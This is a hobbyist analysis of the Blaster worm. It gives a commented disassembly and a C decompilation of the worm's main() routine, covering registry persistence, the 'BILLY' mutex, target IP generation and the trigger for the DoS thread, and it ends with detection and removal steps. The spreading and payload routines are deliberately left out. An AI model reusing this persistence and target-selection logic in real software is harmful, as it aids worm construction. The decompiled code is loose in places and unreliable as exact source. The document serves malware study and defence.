|
Decompilation of the RPC blaster.worm main() routine and short description/analysis by Dennis Elser. TABLE OF CONTENTS: I. Introduction II. Description III. Commented Disassembly IV. Analysis/Decompilation V. How to detect and clean an infected system, prevent re-infection I. Introduction --------------- Thanks to Datarescue (www.datarescue.com) for the Interactive DisAssembler (IDA Pro) which made this analysis quite comfortable. The integrated debugger came in very handy to verify the analysis ;) Please bare with me, english is not my native language, I am not a professional but a hobbyist, this document and the analysis were done in my spare time for fun and it was not veryfied by anyone so it may contain quite some errata ;) About the analysis: I began to analyze the main() routine but I've left out two important routines due to two reasons: 1. I don't want anyone to recompile this and create new variants. 2. Rolf Rolles beat me to it - too bad we haven't met earlier ;) So spreadworm() and payload() have been left out. Their functionality will be described later. II. Description --------------- The worm creates a new registry key in "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" called "windows auto update" with the value "msblast.exe". This will make sure that the worm will be run after each reboot. Next, it creates a Mutex called "BILLY", followed by a call to GetLastError(). If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a file when that file already exists.") the worm will make a call to ExitProcess() to prevent the system from running multiple instances of the worm. Otherwise it will continue and call WSAStartup() to initiate windows sockets, GetModuleFileName(), which is needed for the tftp transfer to other vulnerable boxes (thanks Rolf) and loop until the OS is connected to the Internet (using InternetGetConnectedState()). The worm will then create random ip addresses and retreive the local ip address of the OS in order to infect the local area network and computers on the internet (Please have a look at the analysis). Every year starting on August the 16th to December the 31st the payload() routine will be started. >From what I have checked so far it will send packets to windowsupdate.com in order to DoS it. After that it will spread itself to vulnerable boxes on the internet (using the randomly generated IP addresses) and to the local area network. As mentioned above spreadworm() and payload() have not been analyzed any further. spreadworm() will listen on specific ports for incoming connections, spread itself et cetera. payload() will DoS windowsupdate.com on a specific date. Please refer to Rolf Rolles' analysis for a more detailed analysis. III. Commented Disassembly ------------------------- main proc near ; CODE XREF: mainwrapper+5Cp in = in_addr ptr -3ACh temp_ip_buf = dword ptr -3A8h hostent = dword ptr -3A4h local_ip_address= byte ptr -3A0h WSAData = WSAData ptr -1A0h month = dword ptr -10h day_of_month = byte ptr -0Ch hKey = dword ptr -8 ThreadId = dword ptr -4 push ebp mov ebp, esp sub esp, 3ACh push esi push edi xor esi, esi push 0 ; lpdwDisposition lea eax, [ebp+hKey] push eax ; phkResult push 0 ; lpSecurityAttributes push 0F003Fh ; samDesired push 0 ; dwOptions push 0 ; lpClass push 0 ; Reserved push offset aSoftwareMicros ; create/open regkey: ; SOFTWARE\Microsoft\Windows\CurrentVersion\Run push 80000002h ; hKey call RegCreateKeyExA push 32h ; cbData push offset aMsblast_exe ; lpData push 1 ; dwType push 0 ; Reserved push offset aWindowsAutoUpd ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExA ; create a subkey/string "windows auto update" with the value "msblast.exe" ; this will make sure the worm will be run after windows has been booted push [ebp+hKey] ; hKey call RegCloseKey ; close regkey push offset aBilly ; lpName push 1 ; bInitialOwner push 0 ; lpMutexAttributes call CreateMutexA ; create "Billy" Mutex call GetLastError ; check for error. cmp eax, 0B7h ; 0xb7 = Cannot create a file when that file already exists. jnz short FirstInstance ; if the mutex couldn't be created, then there ; already is running an instance of the worm. ; if this is the case: ExitProcess push 0 ; uExitCode call ExitProcess FirstInstance: ; CODE XREF: main+67j lea eax, [ebp+WSAData] push eax ; lpWSAData push 202h ; wVersionRequested call WSAStartup ; call WSAStartup / version 2.02 or eax, eax jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess lea eax, [ebp+WSAData] push eax ; lpWSAData push 101h ; wVersionRequested call WSAStartup ; call WSAStartup / version 1.01 or eax, eax jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess lea eax, [ebp+WSAData] push eax ; lpWSAData push 1 ; wVersionRequested call WSAStartup ; call WSAStartup / v1.0 ? or eax, eax jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess or eax, 0FFFFFFFFh jmp WS_Error ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ WSAStartupSuccess: ; CODE XREF: main+83j main+98j ... push 104h ; nSize push offset Filename ; lpFilename push 0 ; hModule call GetModuleFileNameA ; get module's name into a buffer (should be msblast.exe) delay_no_inet: ; CODE XREF: main+DEj push 0 lea eax, [ebp+ThreadId] push eax call InternetGetConnectedState ; is the victim connected to the internet ? or eax, eax jnz short connected push 4E20h ; dwMilliseconds call Sleep ; Sleep 20 seconds jmp short delay_no_inet ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ connected: ; CODE XREF: main+D2j and ds:i_ip_D, 0 call GetTickCount ; get value from tickcount push eax call srand ; random starting point pop ecx call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide random value by 0xFE mov edi, edx ; edi = edx = remainder inc edi ; remainder++ mov ds:randomip_A, edi call rand ; get another random value mov ecx, 0FEh cdq idiv ecx ; divide random value by 0xFE mov ds:randomip_B, edx ; store remainder push 200h ; namelen lea eax, [ebp+local_ip_address] push eax ; name call gethostname ; get hostname for local machine cmp eax, 0FFFFFFFFh ; SOCKET_ERROR ? jz SOCKET_ERROR lea eax, [ebp+local_ip_address] push eax ; name call gethostbyname ; retreive hostent structure mov [ebp+hostent], eax or eax, eax jz SOCKET_ERROR mov ecx, [eax+0Ch] ; ecx = hostent.hlength cmp dword ptr [ecx], 0 ; if (hostent.hlength == 0) goto SOCKET_ERROR jz SOCKET_ERROR push 4 mov eax, [eax+0Ch] ; get hostent.hlength push dword ptr [eax] ; source buffer (hostent) lea eax, [ebp+in] push eax ; destination buffer call memcpy ; copy hostent structure push dword ptr [ebp+in.S_un] ; in call inet_ntoa ; get dotted format push eax push offset aS ; "%s" lea edi, [ebp+local_ip_address] push edi call sprintf ; store ip address in string format push offset dot lea eax, [ebp+local_ip_address] push eax call strtok ; find first '.' / dot in local ip address string ; assume we have the following ip address: ; 127.0.0.1 ; eax will hold a pointer to "127\0" after the call to strtok mov [ebp+temp_ip_buf], eax push eax call atoi ; convert string to integer mov ds:i_ip_A, eax push offset dot push 0 call strtok ; find next '.' / dot in local ip address string mov [ebp+temp_ip_buf], eax push eax call atoi ; convert next delimiter of ip address mov ds:i_ip_B, eax push offset dot push 0 call strtok ; find next '.' / dot in local ip address string mov [ebp+temp_ip_buf], eax push eax call atoi ; convert next delimiter of ip address add esp, 3Ch ; correct stack mov ds:i_ip_C, eax cmp eax, 14h ; i_ip_c <= 0x14 ? jle short ip_c_lower_0x15 call GetTickCount ; randomize timer / get random value push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx ; divide random value by 0x14 sub ds:i_ip_C, edx ; subtract remainder of division from i_ip_c ip_c_lower_0x15: ; CODE XREF: main+1EEj mov eax, ds:i_ip_A mov ds:randomip_A, eax mov eax, ds:i_ip_B mov ds:randomip_B, eax xor esi, esi inc esi ; esi = 1 SOCKET_ERROR: ; CODE XREF: main+130j main+14Aj ... call GetTickCount ; randomize timer / get random number push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx ; divide random number by 0x14 cmp edx, 0Ch jge short loc_401496 ; is remainder >= 0xC ? xor esi, esi ; if not, esi = 0 loc_401496: ; CODE XREF: main+242j mov ds:i_ip_D_?, 1 call rand ; get random value mov ecx, 0Ah cdq idiv ecx ; divide random value by 0xA cmp edx, 7 jle short generate_random_ip ; remainder <= 7 ? mov ds:i_ip_D_?, 2 generate_random_ip: ; CODE XREF: main+260j or esi, esi jnz short get_date ; if esi != 0 goto get_date call rand ; get another random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov edi, edx inc edi mov ds:i_ip_A, edi ; i_ip_A = remainder +1 call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov ds:i_ip_B, edx ; i_ip_B = remainder call rand ; get random value mov ecx, 0FEh cdq idiv ecx ; divide by 0xFE mov ds:i_ip_C, edx ; i_ip_C = remainder get_date: ; CODE XREF: main+26Ej push 3 ; cchDate lea eax, [ebp+day_of_month] push eax ; lpDateStr push offset dateformat_d ; Day of month as digits with no leading zero for single-digit days push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA ; get day of month push 3 ; cchDate lea eax, [ebp+month] push eax ; lpDateStr push offset dateformat_M ; Month as digits with no leading zero for single-digit months. push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA lea eax, [ebp+day_of_month] push eax call atoi ; convert daystring to integer pop ecx cmp eax, 15 jg short payload ; if it is the 16th day of a month ; or above, start payload lea edi, [ebp+month] push edi call atoi ; convert monthstring to integer pop ecx cmp eax, 8 ; else if month = September, October, November, December, ; start payload jle short loc_401562 payload: ; CODE XREF: main+2EBj lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push 0 ; lpParameter push offset payload? ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread loc_401562: ; CODE XREF: main+2FAj main+317j call spreadworm jmp short loc_401562 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call WSACleanup ; clean up... xor eax, eax WS_Error: ; CODE XREF: main+AFj pop edi pop esi leave retn 10h main endp IV. Analysis ------------- // global variables char Filename[SOME_CONST]; DWORD i_ip_A; DWORD i_ip_B; DWORD i_ip_C; DWORD i_ip_D; DWORD i_ip_D_?; // left out void spreadworm() { } // left out SEC_THREAD_START paylod() { } // main int main() { in_addr in; DWORD temp_ip_buf; hostent _hostent; char local_ip_address[0x200]; LPWSADATA WSAData; char month[3]; char day_of_month[3]; HKEY hKey; DWORD ThreadId; bool status; // Create/open registry key RegCreateKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, 0, & hKey, 0); // Put key "windows auto update", value = "msblast.exe" RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32); // Close registry RegCloseKey(hKey); // check for a running instance of the worm CreateMutexA(0, 1, "BILLY"); if (GetLastError() == 0xb7) ExitProcess(0); // exit // winsock if ((WSAStartup(0x202, & WSAData) != 0) || (WSAStartup(0x101, & WSAData) != 0) \ || (WSAStartup(0x001, & WSAData) != 0)) return -1; // get driver:\path\filename (for example c:\winnt\system32\msblast.exe) // needed for tftp to locate the file for redistribution (thanks again Rolf) GetModuleFileNameA(0, &Filename, 0x104); // idle until a connection to the internet is detected while (InternetGetConnectedState(& ThreadId, 0) == 0) Sleep(0x4e20); // generate random ip address i_ip_D = 0; srand(GetTickCount()); randomip_A = rand() % 0xFE; randomip_A++; randomip_B = rand() % 0xFE; // get local ip address if (gethostname(& local_ip_address, 0x200) != ffffffff) { _hostent = gethostbyname(& local_ip_address); if (_hostent != 0) { if (_hostent.hlength != 0) { memcpy( &in, &_hostent.hlength, 4); sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un)); temp_ip_buf = strtok(&local_ip_address, "."); // split single parts of ip address into A.B.C.(D) i_ip_A = atoi(temp_ip_buf); temp_ip_buf = strtok(0, "."); i_ip_B = atoi(temp_ip_buf); temp_ip_buf = strtok(0, "."); i_ip_C = atoi(temp_ip_buf); // randomize x.x.C.x if C > 0x14 if (i_ip_C > 0x14) { srand(GetTickCount()); i_ip_C -= rand() % 0x14; } randomip_A = i_ip_A; randomip_B = i_ip_B; status = true; } } } srand(GetTickCount()); if ((rand() % 0x14) < 12) status = 0; i_ip_D_? = 1; if ((rand % 0xA) > 7) i_ip_D_? = 2; if (status == 0) { i_ip_A = rand() % 0xFE; i_ip_A++; i_ip_B = rand() % 0xFE; i_ip_C = rand() % 0xFE; } // get date GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3); GetDateFormatA(0x409, 0, 0, &"M", &month, 3); // start payload on 16th august until 31st december if ( (atoi(& day_of_month) > 15) || (atoi(& month) >= 8) ) CreateThread(0, 0, payload, 0, 0, &ThreadId); // start spreading the worm all over the windoze-world while (1) spreadworm(); // is that a joke ? it will never be executed ;) WSACleanup(); return 0; } V. How to detect and clean an infected system, prevent re-infection ------------------------------------------------------------------- a.) detection ------------- The three most suspicious indicators for a system infected by the msblast.worm are - a file called msblast.exe in your windows\system32\ folder - a running process called msblast.exe - the registry entry "windows auto update" containing the string "msblast.exe" in "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Some minor indicators are - (high) outbound traffic on port 69, 135 et cetera. - the mutex "BILLY" (write a little application which creates a mutex called "BILLY" just like the worm does. Call GetLastError() immediately after having created the mutex. if the returncode is 0xb7 then the mutex already exists which is an indicator for the worm. - probably a lot more ;) b.) cleaning a system --------------------- 1. Kill the process msblast.exe using window's taskmanager or tasklist/taskkill. 2. remove the registry key "windows auto update". 3. remove the executable msblast.exe from your windows\system32\ directory. c.) preventing re-infection --------------------------- 1. Configure your firewall to block port 135 (and others the worm uses). 2. update your windows installation (windowsupdate.com). 3. write a little application which creates a "BILLY" mutex. This will not prevent your system to be infected but the worm will not spread any further and will not run any harmful routines as it exits when it detects an existing "BILLY" mutex. -- Please have a look at Rolf Rolles' complete analysis (he should have posted it to bugtraq). Check www.datarescue.com for the best disassembler around. Hello's to my "collegues" ;) you know who you are :) "I can not be held responsible for any damages this document may cause" ;) -- Dennis Elser Student of the Ruhr-Universität-Bochum Information Technology Security Germany